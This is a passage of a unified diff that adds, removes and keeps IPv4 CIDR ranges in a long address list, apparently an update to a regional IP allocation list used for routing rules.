+103.119.28.0/22 +103.119.115.0/24 +103.119.156.0/22 +103.119.180.0/22 +103.119.200.0/22 +103.120.52.0/22 103.120.72.0/22 103.120.88.0/22 +103.120.96.0/21 +103.120.140.0/22 +103.120.196.0/22 +103.120.224.0/22 103.121.52.0/22 -103.121.164.0/23 -103.121.166.0/24 +103.121.160.0/21 103.121.250.0/24 +103.121.252.0/22 103.122.48.0/22 -103.123.4.0/23 +103.122.192.0/22 +103.122.240.0/22 +103.123.4.0/22 +103.123.56.0/22 +103.123.88.0/21 +103.123.116.0/22 +103.123.176.0/22 +103.123.200.0/21 +103.123.208.0/21 +103.124.24.0/22 +103.124.48.0/22 +103.124.64.0/22 +103.124.212.0/22 +103.124.216.0/22 +103.125.20.0/22 +103.125.44.0/22 +103.125.132.0/22 +103.125.164.0/22 +103.125.196.0/22 103.125.236.0/22 -103.126.1.0/24 +103.125.249.0/24 +103.125.250.0/23 +103.126.0.0/22 +103.126.16.0/22 +103.126.44.0/22 103.126.124.0/22 +103.126.128.0/21 +103.130.132.0/22 +103.130.160.0/22 +103.130.228.0/22 +103.131.20.0/22 +103.131.36.0/22 103.131.138.0/23 103.131.152.0/22 +103.131.168.0/22 +103.131.224.0/21 +103.131.240.0/22 103.132.22.0/23 -103.132.212.0/23 -103.133.128.0/23 -103.135.160.0/22 -103.135.164.0/23 -103.135.192.0/23 -103.135.195.0/24 -103.135.196.0/22 +103.132.48.0/22 +103.132.60.0/22 +103.132.64.0/20 +103.132.80.0/22 +103.132.104.0/21 +103.132.112.0/21 +103.132.120.0/22 +103.132.161.0/24 +103.132.188.0/22 +103.132.208.0/21 +103.133.12.0/22 +103.133.40.0/22 +103.133.128.0/22 +103.133.232.0/22 +103.134.196.0/22 +103.134.232.0/23 +103.135.80.0/22 +103.135.124.0/22 +103.135.148.0/22 +103.135.156.0/22 +103.135.160.0/21 +103.135.176.0/22 +103.135.184.0/22 +103.135.192.0/21 +103.135.236.0/22 +103.136.128.0/22 +103.136.232.0/22 +103.137.58.0/23 103.137.60.0/24 +103.137.76.0/22 +103.137.136.0/23 +103.137.180.0/22 +103.137.236.0/22 +103.138.2.0/23 +103.138.134.0/23 +103.138.208.0/23 +103.138.220.0/23 +103.138.248.0/23 +103.139.22.0/23 +103.139.92.0/23 +103.139.134.0/23 103.139.172.0/23 +103.139.204.0/23 103.139.212.0/23 103.140.14.0/23 +103.140.140.0/23 +103.140.144.0/23 +103.140.192.0/23 103.141.10.0/23 +103.141.58.0/23 +103.141.128.0/23 +103.141.186.0/23 +103.141.242.0/23 +103.142.28.0/23 +103.142.58.0/23 +103.142.82.0/23 103.142.96.0/23 +103.142.122.0/23 +103.142.128.0/23 +103.142.154.0/23 +103.142.156.0/23 +103.142.172.0/23 +103.142.180.0/23 +103.142.186.0/23 103.142.234.0/23 +103.142.238.0/23 +103.142.248.0/23 103.143.16.0/22 -103.143.92.0/23 -103.143.230.0/24 +103.143.74.0/23 +103.143.120.0/23 +103.143.124.0/23 +103.143.132.0/22 +103.143.174.0/23 +103.143.228.0/23 +103.144.41.0/24 103.144.66.0/23 -103.144.70.0/24 +103.144.70.0/23 +103.144.72.0/23 +103.144.136.0/23 103.144.158.0/23 -103.144.244.0/24 103.145.42.0/23 +103.145.93.0/24 +103.145.98.0/23 +103.145.188.0/23 +103.146.72.0/23 +103.146.91.0/24 103.146.126.0/23 -103.147.124.0/24 -103.149.242.0/24 +103.146.138.0/23 +103.146.236.0/23 +103.147.124.0/23 +103.147.206.0/23 +103.148.174.0/23 +103.149.6.0/23 +103.149.17.0/24 +103.149.44.0/23 +103.149.210.0/23 +103.149.214.0/23 +103.149.220.0/23 +103.149.242.0/23 103.149.244.0/22 +103.150.10.0/23 103.150.24.0/23 -103.150.36.0/23 +103.150.66.0/23 +103.150.72.0/23 +103.150.122.0/23 +103.150.126.0/23 +103.150.128.0/22 +103.150.146.0/23 103.150.164.0/23 +103.150.172.0/23 +103.150.200.0/23 +103.150.216.0/23 +103.150.244.0/23 +103.151.142.0/23 103.151.148.0/23 -103.152.28.0/23 +103.151.158.0/23 +103.152.28.0/22 103.152.56.0/23 103.152.76.0/23 -103.152.150.0/23 +103.152.120.0/22 +103.152.152.0/23 +103.152.168.0/23 103.152.186.0/23 -103.152.209.0/24 -103.152.224.0/24 +103.152.192.0/23 +103.152.200.0/23 +103.152.208.0/23 +103.152.224.0/23 +103.152.250.0/23 +103.153.114.0/23 +103.153.122.0/23 +103.153.132.0/23 +103.153.146.0/23 +103.153.160.0/23 +103.154.18.0/23 103.154.30.0/23 -103.154.41.0/24 +103.154.32.0/23 +103.154.40.0/23 +103.154.66.0/23 103.154.162.0/23 +103.154.164.0/23 +103.154.168.0/23 +103.155.14.0/23 +103.155.34.0/23 +103.155.48.0/23 103.155.76.0/23 +103.155.101.0/24 +103.155.214.0/23 +103.156.28.0/23 103.156.68.0/23 +103.156.104.0/23 +103.156.158.0/23 103.156.174.0/23 103.156.186.0/23 +103.156.228.0/23 +103.157.30.0/23 +103.157.174.0/23 +103.157.212.0/23 +103.157.234.0/23 +103.157.254.0/23 103.158.0.0/23 +103.158.8.0/23 +103.158.16.0/23 +103.158.200.0/23 +103.158.224.0/23 103.159.124.0/23 +103.159.134.0/23 +103.159.142.0/23 +103.160.32.0/22 +103.160.112.0/22 +103.160.244.0/23 +103.160.254.0/23 +103.161.14.0/23 +103.161.102.0/23 +103.161.208.0/23 103.161.220.0/23 103.161.254.0/23 103.162.10.0/23 +103.162.32.0/23 +103.162.116.0/23 +103.163.28.0/23 +103.163.32.0/23 103.163.46.0/23 -103.163.180.0/24 -103.164.32.0/24 +103.163.74.0/23 +103.163.180.0/23 +103.164.4.0/23 +103.164.32.0/23 +103.164.40.0/22 +103.164.64.0/23 +103.164.76.0/23 +103.164.178.0/23 +103.165.44.0/23 +103.165.52.0/23 +103.165.82.0/23 103.165.110.0/23 +103.166.20.0/23 +103.166.50.0/23 +103.166.52.0/22 +103.166.84.0/23 +103.166.138.0/23 +103.167.0.0/23 +103.167.36.0/23 +103.167.100.0/23 +103.168.98.0/23 +103.168.170.0/23 103.169.50.0/23 103.169.62.0/23 +103.169.108.0/23 +103.169.162.0/23 +103.169.202.0/23 +103.169.216.0/24 103.170.4.0/23 +103.170.134.0/23 103.170.212.0/23 +103.171.32.0/23 +103.171.166.0/24 +103.171.214.0/23 +103.172.32.0/23 +103.172.160.0/23 +103.173.102.0/23 +103.173.182.0/23 +103.173.184.0/23 103.174.94.0/23 -103.179.78.0/23 -103.181.234.0/24 +103.175.114.0/23 +103.175.118.0/23 +103.175.197.0/24 +103.176.52.0/23 +103.176.222.0/23 +103.176.244.0/23 +103.177.28.0/23 +103.177.44.0/23 +103.177.71.0/24 +103.177.162.0/23 +103.178.240.0/23 +103.179.76.0/22 +103.180.108.0/24 +103.180.226.0/23 +103.181.234.0/23 +103.183.26.0/23 103.183.66.0/23 103.183.122.0/23 103.183.124.0/23 103.184.46.0/23 +103.184.60.0/23 +103.185.78.0/23 +103.185.80.0/23 103.186.4.0/23 103.186.108.0/23 +103.186.162.0/24 +103.186.228.0/23 103.189.92.0/23 -103.189.154.0/23 -103.190.118.0/23 +103.189.152.0/22 +103.190.20.0/23 +103.190.71.0/24 +103.190.104.0/23 +103.190.116.0/22 103.190.122.0/23 -103.191.102.0/24 +103.191.102.0/23 103.191.242.0/23 -103.192.0.0/22 -103.192.8.0/21 -103.192.16.0/20 -103.192.132.0/22 +103.192.0.0/19 +103.192.48.0/21 +103.192.56.0/22 +103.192.84.0/22 +103.192.88.0/21 +103.192.96.0/20 +103.192.112.0/22 +103.192.128.0/20 +103.192.144.0/22 +103.192.164.0/22 103.192.188.0/22 103.192.208.0/21 +103.192.216.0/22 103.192.252.0/22 +103.193.40.0/21 +103.193.120.0/22 +103.193.140.0/22 +103.193.160.0/22 103.193.188.0/22 103.193.192.0/22 -103.196.64.0/24 +103.193.212.0/22 +103.193.216.0/21 +103.193.224.0/20 +103.194.16.0/22 +103.195.104.0/22 +103.195.112.0/22 +103.195.152.0/22 +103.195.160.0/22 +103.196.64.0/22 +103.196.72.0/22 103.196.88.0/21 +103.196.96.0/22 +103.196.168.0/22 103.197.0.0/22 +103.197.180.0/22 103.197.228.0/22 +103.198.20.0/22 103.198.60.0/22 +103.198.64.0/22 +103.198.72.0/22 103.198.124.0/22 +103.198.156.0/22 +103.198.180.0/22 +103.198.196.0/22 +103.198.216.0/21 +103.198.224.0/20 +103.198.240.0/21 +103.199.164.0/22 +103.199.196.0/22 +103.199.228.0/22 +103.199.248.0/21 +103.200.52.0/22 +103.200.64.0/21 103.200.136.0/21 -103.200.144.0/21 +103.200.144.0/20 +103.200.160.0/19 +103.200.192.0/22 103.200.220.0/22 -103.200.224.0/24 -103.200.228.0/24 -103.200.232.0/24 -103.201.192.0/24 -103.201.196.0/24 -103.201.200.0/24 +103.200.224.0/19 +103.201.0.0/20 +103.201.16.0/21 +103.201.28.0/22 +103.201.32.0/19 +103.201.64.0/22 +103.201.76.0/22 +103.201.80.0/20 +103.201.96.0/20 +103.201.112.0/21 +103.201.120.0/22 +103.201.152.0/21 +103.201.160.0/19 +103.201.192.0/18 103.202.0.0/19 103.202.32.0/20 -103.202.92.0/22 -103.202.96.0/20 -103.202.112.0/22 -103.202.120.0/21 +103.202.56.0/22 +103.202.60.0/24 +103.202.62.0/23 +103.202.64.0/22 +103.202.68.0/23 +103.202.72.0/21 +103.202.80.0/20 +103.202.96.0/19 103.202.128.0/20 103.202.144.0/22 -103.203.96.0/22 +103.202.152.0/24 +103.202.154.0/23 +103.202.156.0/22 +103.202.160.0/19 +103.202.192.0/20 +103.202.212.0/22 +103.202.228.0/22 +103.202.236.0/22 +103.202.240.0/20 +103.203.0.0/19 +103.203.32.0/22 +103.203.96.0/19 +103.203.128.0/22 103.203.140.0/22 +103.203.164.0/22 +103.203.168.0/22 +103.203.192.0/22 +103.203.200.0/22 +103.203.212.0/22 103.203.216.0/22 +103.204.24.0/22 103.204.72.0/22 +103.204.88.0/22 +103.204.112.0/22 +103.204.136.0/21 +103.204.144.0/21 +103.204.152.0/22 +103.204.196.0/22 +103.204.216.0/23 +103.204.232.0/21 103.205.4.0/22 +103.205.40.0/21 +103.205.52.0/22 +103.205.108.0/22 +103.205.116.0/22 +103.205.136.0/22 +103.205.162.0/24 103.205.188.0/22 -103.205.192.0/22 -103.205.252.0/22 +103.205.192.0/21 +103.205.200.0/22 +103.205.236.0/22 +103.205.248.0/21 +103.206.0.0/22 +103.206.44.0/22 +103.206.148.0/22 +103.207.104.0/22 +103.207.184.0/21 +103.207.192.0/20 +103.207.208.0/21 +103.207.220.0/22 103.207.228.0/22 +103.207.232.0/22 103.208.12.0/22 +103.208.16.0/22 +103.208.28.0/22 +103.208.40.0/21 103.208.48.0/22 103.209.112.0/22 103.209.136.0/22 -103.210.160.0/22 -103.210.170.0/23 +103.209.200.0/22 +103.209.208.0/22 +103.209.216.0/22 +103.210.96.0/22 +103.210.156.0/22 +103.210.160.0/19 +103.210.216.0/22 103.211.44.0/22 +103.211.96.0/22 +103.211.156.0/22 +103.211.164.0/22 103.211.220.0/22 -103.212.1.0/24 -103.212.2.0/24 -103.212.4.0/22 -103.212.12.0/22 -103.212.48.0/23 -103.212.50.0/24 -103.212.109.0/24 -103.213.49.0/24 -103.213.50.0/23 -103.213.52.0/22 -103.213.56.0/21 +103.211.224.0/22 +103.211.248.0/22 +103.212.0.0/20 +103.212.44.0/22 +103.212.48.0/22 +103.212.84.0/22 +103.212.100.0/22 +103.212.108.0/22 +103.212.148.0/22 +103.212.164.0/22 +103.212.196.0/22 +103.212.200.0/22 +103.212.252.0/22 +103.213.40.0/21 +103.213.48.0/20 103.213.64.0/19 103.213.96.0/22 103.213.132.0/22 -103.213.144.0/23 -103.213.148.0/22 +103.213.136.0/21 +103.213.144.0/20 103.213.160.0/19 +103.213.196.0/22 +103.213.226.0/23 +103.213.232.0/23 103.214.48.0/22 -103.215.36.0/22 -103.215.44.0/24 +103.214.84.0/22 +103.214.212.0/22 +103.214.240.0/21 +103.215.28.0/22 +103.215.32.0/21 +103.215.44.0/22 +103.215.100.0/22 +103.215.108.0/22 +103.215.116.0/22 +103.215.120.0/22 103.215.140.0/22 +103.216.4.0/22 +103.216.8.0/21 +103.216.16.0/20 +103.216.32.0/20 +103.216.64.0/22 +103.216.108.0/22 103.216.136.0/22 103.216.152.0/22 -103.216.252.0/24 +103.216.156.0/23 +103.216.224.0/22 +103.216.240.0/20 +103.217.0.0/18 +103.217.168.0/22 +103.217.180.0/22 103.217.184.0/21 103.217.192.0/20 +103.218.8.0/21 +103.218.16.0/21 +103.218.28.0/22 +103.218.32.0/19 +103.218.64.0/19 +103.218.178.0/23 +103.218.192.0/20 +103.218.208.0/21 103.218.216.0/22 -103.219.28.0/22 +103.219.24.0/21 103.219.32.0/21 -103.219.92.0/24 -103.219.100.0/23 +103.219.64.0/22 +103.219.84.0/22 +103.219.88.0/21 +103.219.96.0/21 103.219.176.0/22 103.219.184.0/22 -103.220.52.0/22 -103.220.56.0/22 +103.220.48.0/20 103.220.64.0/22 103.220.92.0/22 -103.220.124.0/22 -103.220.128.0/19 -103.220.160.0/21 -103.220.240.0/22 -103.221.140.0/22 -103.222.33.0/24 -103.222.40.0/22 -103.222.176.0/21 -103.222.184.0/22 -103.222.216.0/22 -103.223.132.0/22 +103.220.96.0/20 +103.220.116.0/22 +103.220.120.0/21 +103.220.128.0/20 +103.220.144.0/21 +103.220.152.0/22 +103.220.160.0/19 +103.220.192.0/21 +103.220.200.0/22 +103.220.240.0/21 +103.221.88.0/22 +103.221.96.0/19 +103.221.128.0/18 +103.221.192.0/20 +103.222.0.0/20 +103.222.16.0/22 +103.222.24.0/21 +103.222.32.0/19 +103.222.64.0/18 +103.222.128.0/18 +103.222.192.0/19 +103.222.224.0/21 +103.222.232.0/22 +103.222.240.0/21 +103.223.16.0/20 +103.223.32.0/19 +103.223.64.0/19 +103.223.96.0/20 +103.223.112.0/21 +103.223.124.0/22 +103.223.128.0/21 +103.223.140.0/22 103.223.144.0/20 +103.223.160.0/20 +103.223.176.0/21 +103.223.188.0/22 +103.223.192.0/18 +103.224.0.0/22 +103.224.40.0/21 +103.224.60.0/22 +103.224.220.0/22 +103.224.224.0/21 103.224.232.0/22 +103.225.18.0/24 +103.226.16.0/22 +103.226.40.0/22 103.226.57.0/24 -103.227.76.0/22 +103.226.58.0/23 +103.226.60.0/22 +103.226.80.0/22 +103.226.116.0/23 +103.226.132.0/22 +103.226.156.0/22 +103.226.180.0/22 +103.226.196.0/22 +103.227.48.0/22 +103.227.72.0/21 103.227.80.0/22 +103.227.100.0/22 103.227.120.0/22 +103.227.132.0/22 103.227.136.0/22 +103.227.196.0/22 +103.227.204.0/22 +103.227.212.0/22 103.227.228.0/22 +103.228.12.0/22 +103.228.88.0/22 103.228.136.0/22 103.228.160.0/22 -103.228.204.0/23 +103.228.176.0/22 +103.228.204.0/22 103.228.208.0/22 103.228.228.0/22 +103.228.232.0/22 +103.229.20.0/22 +103.229.136.0/22 103.229.148.0/22 103.229.172.0/22 103.229.212.0/22 103.229.216.0/21 +103.229.228.0/22 103.229.236.0/22 +103.229.240.0/22 +103.230.0.0/22 +103.230.28.0/22 +103.230.44.0/22 +103.230.96.0/22 103.230.110.0/23 -103.230.200.0/22 +103.230.196.0/22 +103.230.200.0/21 103.230.212.0/22 103.230.236.0/22 -103.231.16.0/24 +103.231.16.0/21 103.231.64.0/21 +103.231.180.0/22 +103.231.185.0/24 +103.231.186.0/23 +103.231.244.0/22 +103.232.4.0/22 103.232.144.0/22 103.232.166.0/23 +103.232.188.0/22 103.233.4.0/22 +103.233.44.0/22 103.233.52.0/22 +103.233.104.0/22 103.233.128.0/22 -103.233.138.0/24 +103.233.136.0/22 103.233.162.0/23 +103.233.178.0/24 +103.233.228.0/22 +103.234.0.0/22 103.234.20.0/22 103.234.56.0/22 -103.234.128.0/23 -103.234.131.0/24 -103.235.102.0/23 -103.235.136.0/22 -103.235.144.0/24 +103.234.128.0/22 +103.234.172.0/22 +103.234.180.0/22 +103.234.244.0/22 +103.235.48.0/22 +103.235.56.0/21 +103.235.80.0/22 +103.235.85.0/24 +103.235.87.0/24 +103.235.100.0/22 +103.235.132.0/22 +103.235.136.0/21 +103.235.144.0/21 +103.235.184.0/22 +103.235.192.0/22 +103.235.200.0/22 103.235.220.0/22 -103.235.224.0/20 -103.235.244.0/22 -103.235.248.0/21 -103.236.52.0/22 -103.236.56.0/21 +103.235.224.0/19 +103.236.0.0/18 103.236.64.0/19 103.236.96.0/22 103.236.116.0/23 103.236.120.0/22 -103.236.244.0/22 -103.236.248.0/21 -103.237.8.0/22 -103.237.28.0/23 +103.236.184.0/22 +103.236.220.0/22 +103.236.232.0/22 +103.236.240.0/21 +103.236.248.0/23 +103.236.250.0/24 +103.236.252.0/22 +103.237.0.0/20 +103.237.24.0/21 +103.237.68.0/22 +103.237.88.0/22 +103.237.152.0/22 103.237.176.0/20 -103.237.192.0/19 -103.237.224.0/20 -103.237.240.0/21 -103.237.248.0/23 +103.237.192.0/18 103.238.0.0/21 -103.238.16.0/22 -103.238.48.0/24 -103.238.52.0/22 -103.238.96.0/23 -103.238.98.0/24 +103.238.18.0/23 +103.238.20.0/22 +103.238.24.0/21 +103.238.32.0/21 +103.238.40.0/22 +103.238.46.0/23 +103.238.48.0/21 +103.238.56.0/22 +103.238.88.0/21 +103.238.96.0/22 103.238.132.0/22 103.238.140.0/22 103.238.144.0/22 -103.238.160.0/22 -103.238.184.0/24 -103.238.186.0/23 -103.238.188.0/22 +103.238.152.0/23 +103.238.160.0/19 +103.238.196.0/22 103.238.204.0/22 +103.238.252.0/22 +103.239.44.0/22 103.239.68.0/22 -103.239.152.0/22 +103.239.152.0/21 +103.239.180.0/22 103.239.184.0/22 -103.239.192.0/22 +103.239.192.0/21 +103.239.204.0/22 +103.239.208.0/22 103.239.224.0/22 103.239.244.0/22 103.240.16.0/22 103.240.36.0/22 +103.240.42.0/23 +103.240.72.0/22 103.240.84.0/22 103.240.124.0/22 +103.240.172.0/22 +103.240.188.0/22 +103.240.201.0/24 +103.240.202.0/23 103.240.244.0/22 -103.241.95.0/24 +103.241.12.0/22 +103.241.92.0/22 +103.241.96.0/22 +103.241.160.0/22 +103.241.172.0/23 +103.241.184.0/21 103.241.220.0/22 -103.242.168.0/23 -103.242.172.0/22 +103.242.64.0/22 +103.242.128.0/22 +103.242.160.0/22 +103.242.168.0/21 +103.242.176.0/22 +103.242.200.0/22 103.242.212.0/22 +103.242.220.0/22 +103.242.240.0/22 103.243.136.0/22 103.243.252.0/22 -103.244.59.0/24 -103.244.64.0/22 -103.244.80.0/22 +103.244.16.0/22 +103.244.26.0/23 +103.244.58.0/23 +103.244.60.0/22 +103.244.64.0/20 +103.244.80.0/21 +103.244.119.0/24 +103.244.164.0/22 103.244.232.0/22 +103.244.252.0/22 +103.245.23.0/24 +103.245.52.0/22 +103.245.60.0/22 +103.245.80.0/22 +103.245.124.0/22 103.245.128.0/22 +103.246.8.0/21 +103.246.120.0/21 +103.246.132.0/22 103.246.152.0/22 -103.247.168.0/22 +103.247.168.0/21 103.247.176.0/22 103.247.191.0/24 +103.247.200.0/22 +103.247.212.0/22 +103.248.0.0/23 +103.248.100.0/22 +103.248.124.0/22 103.248.152.0/22 +103.248.168.0/22 +103.248.192.0/22 +103.248.212.0/22 103.248.224.0/22 -103.249.136.0/24 +103.249.8.0/21 +103.249.52.0/22 +103.249.128.0/22 +103.249.136.0/22 +103.249.144.0/22 +103.249.164.0/22 +103.249.168.0/21 +103.249.176.0/22 +103.249.188.0/22 +103.249.192.0/22 103.249.244.0/22 103.249.252.0/22 103.250.32.0/22 103.250.104.0/22 103.250.124.0/22 +103.250.180.0/22 103.250.192.0/22 103.250.216.0/22 +103.250.224.0/22 +103.250.236.0/22 103.250.248.0/21 103.251.32.0/22 103.251.84.0/22 103.251.96.0/22 103.251.124.0/22 +103.251.129.0/24 +103.251.131.0/24 103.251.160.0/22 -103.251.204.0/23 -103.251.207.0/24 +103.251.192.0/22 +103.251.204.0/22 103.251.240.0/22 -103.252.36.0/24 +103.252.28.0/22 +103.252.36.0/22 +103.252.64.0/22 +103.252.96.0/22 +103.252.104.0/22 103.252.172.0/22 +103.252.204.0/22 +103.252.208.0/22 +103.252.232.0/22 +103.252.248.0/22 +103.253.4.0/22 103.253.60.0/22 103.253.204.0/22 -103.254.68.0/22 +103.253.220.0/22 +103.253.224.0/22 +103.253.232.0/22 +103.254.8.0/22 +103.254.20.0/22 +103.254.64.0/21 103.254.76.0/22 103.254.112.0/22 +103.254.176.0/22 103.254.188.0/22 103.255.68.0/22 -103.255.92.0/22 -103.255.140.0/22 +103.255.88.0/21 +103.255.136.0/21 +103.255.184.0/22 103.255.200.0/22 -104.251.176.0/22 +103.255.212.0/22 +103.255.228.0/22 +104.192.108.0/23 +104.192.110.0/24 +106.0.0.0/24 +106.0.2.0/23 106.0.4.0/22 -106.2.37.0/24 -106.2.40.0/23 -106.2.42.0/24 -106.2.45.0/24 -106.2.46.0/23 -106.2.48.0/23 -106.2.51.0/24 -106.2.52.0/22 -106.2.56.0/22 -106.2.62.0/23 -106.2.64.0/20 -106.2.81.0/24 -106.2.82.0/23 -106.2.89.0/24 -106.2.92.0/22 -106.2.96.0/24 -106.2.100.0/22 -106.2.104.0/21 -106.2.112.0/21 -106.2.128.0/19 -106.3.0.0/19 -106.3.32.0/20 +106.0.8.0/21 +106.0.16.0/20 +106.0.44.0/22 +106.0.64.0/18 +106.2.0.0/17 +106.2.128.0/20 +106.2.144.0/21 +106.2.152.0/22 +106.2.156.0/23 +106.2.160.0/19 +106.2.192.0/18 +106.3.0.0/18 +106.3.64.0/20 106.3.80.0/22 106.3.88.0/21 -106.3.128.0/20 -106.3.144.0/22 -106.3.148.0/23 -106.3.151.0/24 -106.3.152.0/21 -106.3.192.0/20 -106.3.208.0/21 -106.3.224.0/21 +106.3.96.0/19 +106.3.128.0/17 106.4.0.0/14 106.8.0.0/15 106.11.0.0/16 -106.12.0.0/17 -106.12.128.0/18 -106.12.192.0/19 -106.12.224.0/20 -106.12.240.0/21 -106.12.250.0/23 -106.12.252.0/23 -106.12.254.0/24 -106.13.0.0/16 -106.14.0.0/15 -106.16.0.0/14 +106.12.0.0/14 +106.16.0.0/12 106.32.0.0/12 -106.48.16.0/21 +106.48.64.0/18 +106.50.0.0/16 106.52.0.0/14 -106.56.0.0/14 -106.60.0.0/15 -106.62.0.0/16 -106.63.0.0/17 +106.56.0.0/13 106.74.0.0/16 106.75.0.0/17 106.75.128.0/18 +106.75.200.0/21 106.75.208.0/20 106.75.224.0/19 -106.80.0.0/13 -106.88.0.0/14 -106.92.0.0/16 +106.80.0.0/12 106.108.0.0/14 106.112.0.0/12 -106.224.0.0/14 -106.228.0.0/15 -106.230.0.0/16 -107.151.212.0/24 -107.190.229.0/24 -108.186.72.0/24 +106.224.0.0/12 109.244.0.0/16 110.6.0.0/15 110.16.0.0/14 -110.40.0.0/24 -110.40.13.0/24 -110.40.14.0/23 -110.40.16.0/24 -110.40.128.0/17 -110.41.0.0/17 -110.41.128.0/18 -110.41.192.0/20 -110.41.208.0/23 -110.41.211.0/24 -110.41.212.0/22 -110.41.216.0/21 -110.41.224.0/19 -110.42.0.0/15 +110.34.40.0/21 +110.40.0.0/14 +110.44.12.0/22 +110.44.144.0/20 +110.48.0.0/16 110.51.0.0/16 110.52.0.0/15 -110.56.0.0/16 +110.56.0.0/13 110.64.0.0/15 110.72.0.0/15 110.75.0.0/16 110.76.0.0/18 +110.76.132.0/22 110.76.156.0/22 110.76.184.0/22 110.76.192.0/18 110.77.0.0/17 -110.79.78.0/24 110.80.0.0/13 110.88.0.0/14 -110.94.0.0/17 -110.96.0.0/16 -110.100.0.0/16 -110.113.0.0/16 -110.114.0.0/16 -110.116.0.0/16 +110.92.68.0/22 +110.93.32.0/19 +110.94.0.0/15 +110.96.0.0/15 +110.98.0.0/16 +110.100.0.0/14 +110.104.0.0/13 +110.112.0.0/13 110.120.0.0/16 +110.121.0.0/22 +110.121.8.0/21 +110.121.16.0/20 +110.121.32.0/19 +110.121.64.0/18 +110.121.128.0/17 +110.122.0.0/15 +110.124.0.0/14 110.152.0.0/14 110.156.0.0/15 +110.165.32.0/19 110.166.0.0/15 -110.173.8.0/21 -110.173.16.0/20 +110.172.192.0/18 +110.173.0.0/19 110.173.32.0/20 +110.173.64.0/18 110.173.192.0/19 110.176.0.0/12 -110.199.0.0/16 -110.203.0.0/23 -110.211.0.0/16 -110.218.0.0/15 +110.192.0.0/11 110.228.0.0/14 +110.232.32.0/19 110.236.0.0/15 110.240.0.0/12 111.0.0.0/10 +111.66.0.0/21 +111.66.12.0/22 +111.66.16.0/22 +111.66.28.0/22 +111.66.32.0/21 +111.66.44.0/22 +111.66.52.0/22 +111.66.60.0/22 +111.66.64.0/18 +111.66.128.0/19 +111.66.160.0/20 +111.66.176.0/23 +111.66.178.0/24 +111.66.180.0/22 +111.66.184.0/21 +111.67.192.0/20 +111.68.64.0/19 111.72.0.0/13 111.85.0.0/16 +111.92.248.0/21 111.112.0.0/14 111.116.0.0/15 111.118.200.0/21 +111.119.64.0/18 +111.119.128.0/19 111.120.0.0/14 111.124.0.0/16 111.126.0.0/15 -111.132.0.0/16 -111.148.0.0/16 -111.149.0.0/24 +111.128.0.0/11 111.160.0.0/13 111.170.0.0/16 111.172.0.0/14 111.176.0.0/13 111.186.0.0/15 111.192.0.0/12 -111.208.121.0/24 -111.208.254.0/24 -111.210.0.0/20 -111.210.16.0/24 -111.211.192.0/18 -111.212.0.0/14 +111.208.0.0/13 111.221.28.0/24 111.221.128.0/17 111.222.0.0/16 -111.223.8.0/21 -111.224.0.0/14 -111.228.0.0/18 -111.229.0.0/16 -111.230.0.0/15 +111.223.4.0/22 +111.223.12.0/22 +111.223.16.0/22 +111.223.240.0/22 +111.223.248.0/22 +111.224.0.0/13 +111.235.96.0/19 111.235.156.0/22 -111.235.160.0/22 -111.235.164.0/23 -111.235.168.0/22 -111.235.172.0/23 -111.235.174.0/24 -111.235.178.0/23 -111.235.180.0/23 -111.235.182.0/24 +111.235.160.0/19 112.0.0.0/10 112.64.0.0/14 -112.74.0.0/16 +112.73.66.0/24 +112.73.68.0/24 +112.73.70.0/24 +112.73.74.0/24 +112.73.76.0/24 +112.73.79.0/24 +112.73.92.0/24 +112.73.97.0/24 +112.73.98.0/23 +112.73.100.0/22 +112.73.106.0/23 +112.73.108.0/24 +112.73.110.0/24 +112.73.112.0/23 +112.73.115.0/24 +112.73.116.0/24 +112.73.120.0/24 +112.73.122.0/24 +112.73.124.0/23 +112.73.127.0/24 +112.73.128.0/23 +112.73.130.0/24 +112.73.132.0/23 +112.73.136.0/24 +112.73.139.0/24 +112.73.140.0/24 +112.73.143.0/24 +112.73.145.0/24 +112.73.146.0/23 +112.73.148.0/22 +112.73.152.0/22 +112.73.157.0/24 +112.73.158.0/23 +112.73.160.0/24 +112.73.163.0/24 +112.73.166.0/23 +112.73.168.0/24 +112.73.170.0/24 +112.73.173.0/24 +112.73.174.0/24 +112.73.178.0/24 +112.73.181.0/24 +112.73.182.0/24 +112.73.190.0/24 +112.73.192.0/23 +112.73.196.0/24 +112.73.199.0/24 +112.73.200.0/23 +112.73.205.0/24 +112.73.207.0/24 +112.73.209.0/24 +112.73.210.0/24 +112.73.213.0/24 +112.73.218.0/24 +112.73.224.0/24 +112.73.228.0/24 +112.73.231.0/24 +112.73.232.0/23 +112.73.235.0/24 +112.73.238.0/24 +112.73.242.0/23 +112.73.244.0/23 +112.73.247.0/24 +112.73.250.0/23 +112.73.254.0/24 +112.74.0.0/15 112.80.0.0/12 112.96.0.0/13 112.109.128.0/17 @@ -1602,48 +3120,24 @@ 112.116.0.0/15 112.122.0.0/15 112.124.0.0/14 +112.128.0.0/14 112.132.0.0/16 +112.137.48.0/21 112.192.0.0/14 112.224.0.0/11 113.0.0.0/13 113.8.0.0/15 +113.11.192.0/19 113.12.0.0/14 113.16.0.0/15 113.18.0.0/16 113.21.232.0/21 113.24.0.0/14 -113.31.96.0/19 -113.31.144.0/20 -113.31.160.0/19 -113.44.0.0/16 -113.45.0.0/18 -113.45.64.0/19 -113.45.96.0/22 -113.45.102.0/23 -113.45.104.0/21 -113.45.112.0/22 -113.45.120.0/22 -113.45.128.0/17 -113.46.0.0/16 -113.47.0.0/18 -113.47.64.0/19 -113.47.96.0/21 -113.47.104.0/22 -113.47.110.0/24 -113.47.112.0/20 -113.47.128.0/18 -113.47.200.0/21 -113.47.216.0/21 -113.47.232.0/21 -113.47.240.0/20 -113.48.48.0/20 -113.48.127.0/24 -113.48.224.0/20 -113.49.0.0/19 -113.50.0.0/20 -113.50.32.0/24 -113.50.48.0/20 -113.50.64.0/20 +113.31.0.0/16 +113.44.0.0/14 +113.48.0.0/14 +113.52.160.0/19 +113.52.228.0/22 113.54.0.0/15 113.56.0.0/15 113.58.0.0/16 @@ -1656,266 +3150,203 @@ 113.130.112.0/21 113.132.0.0/14 113.136.0.0/13 +113.192.40.0/23 113.194.0.0/15 -113.197.101.0/24 -113.197.103.0/24 +113.197.100.0/22 113.200.0.0/15 +113.202.0.0/16 113.204.0.0/14 -113.208.112.0/21 -113.209.128.0/17 -113.213.0.0/18 -113.213.64.0/19 -113.213.96.0/20 +113.208.96.0/19 +113.208.128.0/17 +113.209.0.0/16 +113.212.0.0/18 +113.212.100.0/22 +113.212.184.0/21 +113.213.0.0/17 113.214.0.0/15 113.218.0.0/15 113.220.0.0/14 113.224.0.0/12 113.240.0.0/13 113.248.0.0/14 -114.28.68.0/22 -114.28.72.0/21 